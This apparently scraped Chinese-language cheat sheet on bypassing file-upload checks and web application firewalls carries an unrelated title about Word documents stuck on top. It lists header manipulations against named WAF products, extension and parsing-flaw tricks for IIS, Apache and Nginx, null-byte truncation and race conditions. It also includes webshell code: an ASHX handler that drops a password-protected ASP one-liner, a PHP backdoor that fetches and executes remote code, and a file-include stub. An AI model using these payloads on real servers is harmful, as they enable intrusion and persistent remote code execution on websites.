Java 批量刪除Word中的空白段落
檔案上傳校驗姿勢常見有這些
- 客戶端javascript校驗(一般只校驗字尾名)
- 服務端校驗
- 檔案頭content-type欄位校驗(image/gif)
- 檔案內容頭校驗(GIF89a)
- 字尾名黑名單校驗
- 字尾名白名單校驗
- 自定義正則校驗
- WAF裝置校驗(根據不同的WAF產品而定)
以下我們分類總結一下繞過手段這裡我們分類總結一下繞過手段
WAF繞過
安全狗繞過
-
1.繞過思路:對檔案的內容,資料,資料包進行處理。
-
關鍵點在這裡Content-Disposition: form-data; name="file"; filename="ian.php"
-
將form-data;修改為~form-data;
-
-
2.通過替換大小寫來進行繞過
-
Content-Disposition: form-data; name="file"; filename="yjh.php"
-
Content-Type: application/octet-stream
-
將Content-Disposition修改為content-Disposition
-
將 form-data 修改為Form-data
-
將Content-Type修改為content-Type
-
-
3.通過刪減空格來進行繞過
-
Content-Disposition: form-data; name="file"; filename="yjh.php"
-
Content-Type: application/octet-stream
-
將Content-Disposition: form-data 冒號後面增加或減少一個空格
-
將form-data; name="file";分號後面增加或減少一個空格
-
將Content-Type: application/octet-stream 冒號後面增加一個空格
-
-
4.通過字串拼接繞過
-
Content-Disposition: form-data; name="file"; filename="yjh3.php"
-
將 form-data 修改為 f+orm-data
-
將from-data 修改為 form-d+ata
-
-
5.雙檔案上傳繞過
`<formaction="https://www.xxx.com/xxx.asp(php)"method="post"
name="form1"enctype="multipart/form-data">
<inputname="FileName1"type="FILE"class="tx1"size="40">
<inputname="FileName2"type="FILE"class="tx1"size="40">
<inputtype="submit"name="Submit"value="上傳">
* Content-Disposition: form-data; name="file"; filename="yjh.php"
* 我們通過替換form-data 為*來繞過
* Content-Disposition:*; name="file"; filename="yjh.php"
-
7.HTTP header 屬性名稱繞過
- Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
- Content-Type: image/png
- 繞過內容如下:
- Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
- C.php"
- 刪除掉ontent-Type: image/jpeg只留下c,將.php加c後面即可,但是要注意額,雙引號要跟著c.php"
-
8.等效替換繞過
-
原內容:
-
Content-Type: multipart/form-data; boundary=---------------------------471463142114
-
修改後:
- Content-Type: multipart/form-data; boundary =---------------------------471463142114
-
boundary後面加入空格
-
-
9.修改編碼繞過
- 使用UTF-16、Unicode、雙URL編碼等等
WTS-WAF 繞過上傳
- 原內容:
- Content-Disposition: form-data; name="up_picture"; filename="xss.php"
- 添加回車
- Content-Disposition: form-data; name="up_picture"; filename="xss.php"
百度雲上傳繞過
百度雲繞過就簡單的很多很多,在對檔名大小寫上面沒有檢測php是過了的,Php就能過,或者PHP,一句話,,自己合成圖片馬用Xise連線即可。
- Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
阿里雲上傳繞過
-
原始碼:
- Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"
- Content-Type:image/jpeg
-
修改如下:
- Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
-
沒錯,將=號這裡回車刪除掉Content-Type: image/jpeg即可繞過。
360主機上傳繞過
- 原始碼:
- Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
- Content-Type: image/png
- 繞過內容如下:
- Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"
- Content-Disposition 修改為 Content-空格Disposition
MIME型別繞過
- 上傳木馬時,提示格式錯誤。直接抓包修改Content-Type為正確的格式嘗試繞過
檔案內容檢測繞過
抓包,在正常圖片末尾新增一句話木馬
多次上傳Win特性繞過
- 多次上傳同一個檔案,windows會自動更新補全TEST (1).php
有時會觸發條件競爭,導致繞過。
條件競爭繞過
- 通過BURP不斷髮包,導致不斷寫入Webshell,再寫入速度頻率上超過安全軟體查殺頻率,導致繞過。
CONTENT-LENGTH繞過
針對這種型別的驗證,我們可以通過上傳一些非常短的惡意程式碼來繞過。
上傳檔案的大小取決於,Web伺服器上的最大長度限制。
我們可以使用不同大小的檔案來fuzzing上傳程式,從而計算出它的限制範圍。
檔案內容檢測繞過
-
針對檔案內容檢測的繞過,一般有兩種方式,
-
1.製作圖片馬
-
2.檔案幻術頭繞過
-
垃圾資料填充繞過
- 修改HTTP請求,再之中加入大量垃圾資料。
黑名單字尾繞過
副檔名繞過
Php除了可以解析php字尾還可以解析php2,php3,php4 字尾
ashx上傳繞過
-
cer,asa,cdx等等無法使用時候。
-
解析後就會生成一個test.asp的馬,你就可以連線這個test.asp 密碼為:put
<%@WebHandlerLanguage="C#"Class="Handler"%> usingSystem; usingSystem.Web; usingSystem.IO; publicclassHandler:IHttpHandler{ publicvoidProcessRequest(HttpContext context){ context.Response.ContentType="text/plain"; //這裡會在目錄下生成一個test.asp的檔案 StreamWriter file1=File.CreateText(context.Server.MapPath("test.asp")); //這裡是寫入一句話木馬 密碼是:put file1.Write("<%response.clear:execute request("put"):response.End%>"); file1.Flush(); file1.Close(); } publicboolIsReusable{ get{ returnfalse; } } }
特殊檔名繞過
- 比如傳送的 http包裡把檔名改成 test.asp.或 test.asp_(下劃線為空格),這種命名方式,在windows系統裡是不被允許的,所以需要在 burp之類裡進行修改,然後繞過驗證後,會被windows系統自動去掉後面的點和空格,但要注意Unix/Linux系統沒有這個特性。
Windows流特性繞過
- php在windows的時候如果
檔名+"::$DATA"會把::$DATA
之後的資料當成檔案流處理,不會檢測字尾名.且保持"::$DATA"
之前的檔名。
白名單字尾繞過
00截斷繞過上傳
- php .jpg 空格二進位制20改為00
- IIS 6.0目錄路徑檢測解析繞過
- 上傳路徑改為 XXX/1.asp/
htaccess解析漏洞
- 上傳的jpg檔案都會以php格式解析
- .htaccess內容: AddType application/x-httpd-php .jpg
突破MIME限制上傳
- 方法:找一個正常的可上傳的檢視其的MIME型別,然後將馬子的MIME改成合法的MIME即可。
Apache解析漏洞
- 一個檔名為test.x1.x2.x3的檔案,apache會從x3的位置開始嘗試解析,如果x3不屬於apache能夠解析的副檔名,那麼apache會嘗試去解析x2,直到能夠解析到能夠解析的為止,否則就會報錯。
- CVE-2017-15715,這個漏洞利用方式就是上傳一個檔名最後帶有換行符(只能是\x0A,如上傳a.php,然後在burp中修改檔名為a.php\x0A),以此來繞過一些黑名單過濾。
IIS解析漏洞
- IIS6.0在解析asp格式的時候有兩個解析漏洞
- 一個是如果目錄名包含".asp"字串,那麼這個目錄下所有的檔案都會按照asp去解析
- 另一個是隻要檔名中含有".asp;"
- 會優先按asp來解析
- IIS7.0/7.5是對php解析時有一個類似於Nginx的解析漏洞,對任意檔名只要在URL後面追加上字串"/任意檔名.php"就會按照php的方式去解析;
Nginx解析漏洞
- 解析:(任意檔名)/(任意檔名).php |(任意檔名)%00.php
描述:目前Nginx主要有這兩種漏洞,- 一個是對任意檔名,在後面新增/任意檔名.php的解析漏洞,比如原本檔名是test.jpg,可以新增為test.jpg/x.php進行解析攻擊。
- 還有一種是對低版本的Nginx可以在任意檔名後面新增%00.php進行解析攻擊。
解析漏洞
- Content-Disposition: form-data; name="file"; filename=php.php;.jpg
前端限制繞過
- 使用BURP抓包修改後重放
- 或者使用瀏覽器中元素審查,修改允許或禁止上傳檔案型別。
下載繞過
遠端下載檔案繞過
<?php
$str = file_get_contents('http://127.0.0.1/ian.txt');
$str($_post['ian']);
?>
檔案包含繞過
上傳圖片木馬
$x=$_GET['x'];
include($x);
訪問:http://www.xxxx.com/news.php?x=xxxxxx.jpg